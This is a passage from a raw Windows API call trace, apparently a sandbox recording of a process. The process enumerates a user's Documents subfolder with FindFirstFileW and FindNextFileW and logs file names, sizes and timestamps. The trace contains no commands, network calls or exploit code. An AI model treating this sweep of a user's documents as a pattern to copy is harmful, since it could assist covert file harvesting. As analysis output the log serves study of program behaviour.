pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P", len=0x41 | out: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P") returned 1 [0166.004] SysReAllocStringLen (in: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\*", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\*", len=0x43 | out: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\*") returned 1 [0166.005] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\*", len=0x43 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\*") returned 1 [0166.005] SysReAllocStringLen (in: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\*", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\*", len=0x43 | out: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\*") returned 1 [0166.005] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\*", len=0x43 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\*") returned 1 [0166.005] SysReAllocStringLen (in: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\*", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\*", len=0x43 | out: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\*") returned 1 [0166.005] SysReAllocStringLen (in: pbstr=0x1e7df96c*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\*", len=0x43 | out: pbstr=0x1e7df96c*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\*") returned 1 [0166.005] SysReAllocStringLen (in: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\*", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\*", len=0x43 | out: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\*") returned 1 [0166.005] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\*", lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c430290, ftCreationTime.dwHighDateTime=0x1d5d9d5, ftLastAccessTime.dwLowDateTime=0x50a84240, ftLastAccessTime.dwHighDateTime=0x1d5e4dc, ftLastWriteTime.dwLowDateTime=0x50a84240, ftLastWriteTime.dwHighDateTime=0x1d5e4dc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1e258c88 [0166.006] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\z83cKY5mZXN1FIiv8VR.odt", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\.", len=0x43 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\.") returned 1 [0166.006] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\.", len=0x43 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\.") returned 1 [0166.006] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\.", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\.", len=0x43 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\.") returned 1 [0166.006] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\.", len=0x43 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\.") returned 1 [0166.006] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\.", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\.", len=0x43 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\.") returned 1 [0166.006] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\.", len=0x43 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\.") returned 1 [0166.006] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\.", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\.", len=0x43 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\.") returned 1 [0166.006] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c430290, ftCreationTime.dwHighDateTime=0x1d5d9d5, ftLastAccessTime.dwLowDateTime=0x50a84240, ftLastAccessTime.dwHighDateTime=0x1d5e4dc, ftLastWriteTime.dwLowDateTime=0x50a84240, ftLastWriteTime.dwHighDateTime=0x1d5e4dc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0166.007] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\.", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\..", len=0x44 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\..") returned 1 [0166.007] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\..", len=0x44 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\..") returned 1 [0166.007] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\..", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\..", len=0x44 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\..") returned 1 [0166.007] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\..", len=0x44 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\..") returned 1 [0166.007] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\..", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\..", len=0x44 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\..") returned 1 [0166.007] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\..", len=0x44 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\..") returned 1 [0166.007] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\..", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\..", len=0x44 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\..") returned 1 [0166.007] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf04949a0, ftCreationTime.dwHighDateTime=0x1d5df20, ftLastAccessTime.dwLowDateTime=0xdb9320c0, ftLastAccessTime.dwHighDateTime=0x1d5e10b, ftLastWriteTime.dwLowDateTime=0xdb9320c0, ftLastWriteTime.dwHighDateTime=0x1d5e10b, nFileSizeHigh=0x0, nFileSizeLow=0x2ea6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7e7z67m5sUAQb5mz3b.ots", cAlternateFileName="7E7Z67~1.OTS")) returned 1 [0166.008] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\..", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\7e7z67m5sUAQb5mz3b.ots", len=0x58 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\7e7z67m5sUAQb5mz3b.ots") returned 1 [0166.008] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\7e7z67m5sUAQb5mz3b.ots", len=0x58 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\7e7z67m5sUAQb5mz3b.ots") returned 1 [0166.008] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\7e7z67m5sUAQb5mz3b.ots", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\7e7z67m5sUAQb5mz3b.ots", len=0x58 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\7e7z67m5sUAQb5mz3b.ots") returned 1 [0166.008] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\7e7z67m5sUAQb5mz3b.ots", len=0x58 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\7e7z67m5sUAQb5mz3b.ots") returned 1 [0166.008] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\7e7z67m5sUAQb5mz3b.ots", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\7e7z67m5sUAQb5mz3b.ots", len=0x58 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\7e7z67m5sUAQb5mz3b.ots") returned 1 [0166.008] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\7e7z67m5sUAQb5mz3b.ots", len=0x58 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\7e7z67m5sUAQb5mz3b.ots") returned 1 [0166.008] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\7e7z67m5sUAQb5mz3b.ots", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\7e7z67m5sUAQb5mz3b.ots", len=0x58 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\7e7z67m5sUAQb5mz3b.ots") returned 1 [0166.008] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="7e7z67m5sUAQb5mz3b.ots", cchWideChar=22, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7e7z67m5sUAQb5mz3b.otsdtnts\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\x04", lpUsedDefaultChar=0x0) returned 22 [0166.008] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="7e7z67m5sUAQb5mz3b.ots", cchWideChar=22, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7e7z67m5sUAQb5mz3b.otsdtnts\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\x04", lpUsedDefaultChar=0x0) returned 22 [0166.008] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="7e7z67m5sUAQb5mz3b.ots", cchWideChar=22, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7e7z67m5sUAQb5mz3b.otsdtnts\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\x04", lpUsedDefaultChar=0x0) returned 22 [0166.009] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x559a620, ftCreationTime.dwHighDateTime=0x1d5d975, ftLastAccessTime.dwLowDateTime=0x42a71c90, ftLastAccessTime.dwHighDateTime=0x1d5e1a1, ftLastWriteTime.dwLowDateTime=0x42a71c90, ftLastWriteTime.dwHighDateTime=0x1d5e1a1, nFileSizeHigh=0x0, nFileSizeLow=0x12b11, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jcl 5WEXLH_.ots", cAlternateFileName="JCL5WE~1.OTS")) returned 1 [0166.009] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\7e7z67m5sUAQb5mz3b.ots", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\jcl 5WEXLH_.ots", len=0x51 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\jcl 5WEXLH_.ots") returned 1 [0166.009] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\jcl 5WEXLH_.ots", len=0x51 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\jcl 5WEXLH_.ots") returned 1 [0166.009] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\jcl 5WEXLH_.ots", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\jcl 5WEXLH_.ots", len=0x51 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\jcl 5WEXLH_.ots") returned 1 [0166.009] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\jcl 5WEXLH_.ots", len=0x51 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\jcl 5WEXLH_.ots") returned 1 [0166.009] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\jcl 5WEXLH_.ots", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\jcl 5WEXLH_.ots", len=0x51 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\jcl 5WEXLH_.ots") returned 1 [0166.009] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\jcl 5WEXLH_.ots", len=0x51 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\jcl 5WEXLH_.ots") returned 1 [0166.009] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\jcl 5WEXLH_.ots", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\jcl 5WEXLH_.ots", len=0x51 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\jcl 5WEXLH_.ots") returned 1 [0166.010] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb63a8f0, ftCreationTime.dwHighDateTime=0x1d5dbd9, ftLastAccessTime.dwLowDateTime=0xa65b8bd0, ftLastAccessTime.dwHighDateTime=0x1d5e3b9, ftLastWriteTime.dwLowDateTime=0xa65b8bd0, ftLastWriteTime.dwHighDateTime=0x1d5e3b9, nFileSizeHigh=0x0, nFileSizeLow=0x5ecb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UNSDzl.rtf", cAlternateFileName="")) returned 1 [0166.010] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\jcl 5WEXLH_.ots", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\UNSDzl.rtf", len=0x4c | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\UNSDzl.rtf") returned 1 [0166.010] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\UNSDzl.rtf", len=0x4c | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\UNSDzl.rtf") returned 1 [0166.010] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\UNSDzl.rtf", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\UNSDzl.rtf", len=0x4c | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\UNSDzl.rtf") returned 1 [0166.010] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\UNSDzl.rtf", len=0x4c | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\UNSDzl.rtf") returned 1 [0166.010] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\UNSDzl.rtf", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\UNSDzl.rtf", len=0x4c | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\UNSDzl.rtf") returned 1 [0166.011] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\UNSDzl.rtf", len=0x4c | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\UNSDzl.rtf") returned 1 [0166.011] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\UNSDzl.rtf", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\UNSDzl.rtf", len=0x4c | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\UNSDzl.rtf") returned 1 [0166.011] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b4f1920, ftCreationTime.dwHighDateTime=0x1d5def2, ftLastAccessTime.dwLowDateTime=0xfa47d170, ftLastAccessTime.dwHighDateTime=0x1d5e21c, ftLastWriteTime.dwLowDateTime=0xfa47d170, ftLastWriteTime.dwHighDateTime=0x1d5e21c, nFileSizeHigh=0x0, nFileSizeLow=0x13e42, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ypiWd.ots", cAlternateFileName="")) returned 1 [0166.011] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\UNSDzl.rtf", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\ypiWd.ots", len=0x4b | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\ypiWd.ots") returned 1 [0166.011] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\ypiWd.ots", len=0x4b | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\ypiWd.ots") returned 1 [0166.011] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\ypiWd.ots", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\ypiWd.ots", len=0x4b | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\ypiWd.ots") returned 1 [0166.011] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\ypiWd.ots", len=0x4b | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\ypiWd.ots") returned 1 [0166.011] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\ypiWd.ots", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\ypiWd.ots", len=0x4b | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\8O4HGEn56P\\ypiWd.ots") returned 1 [0166.011] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, 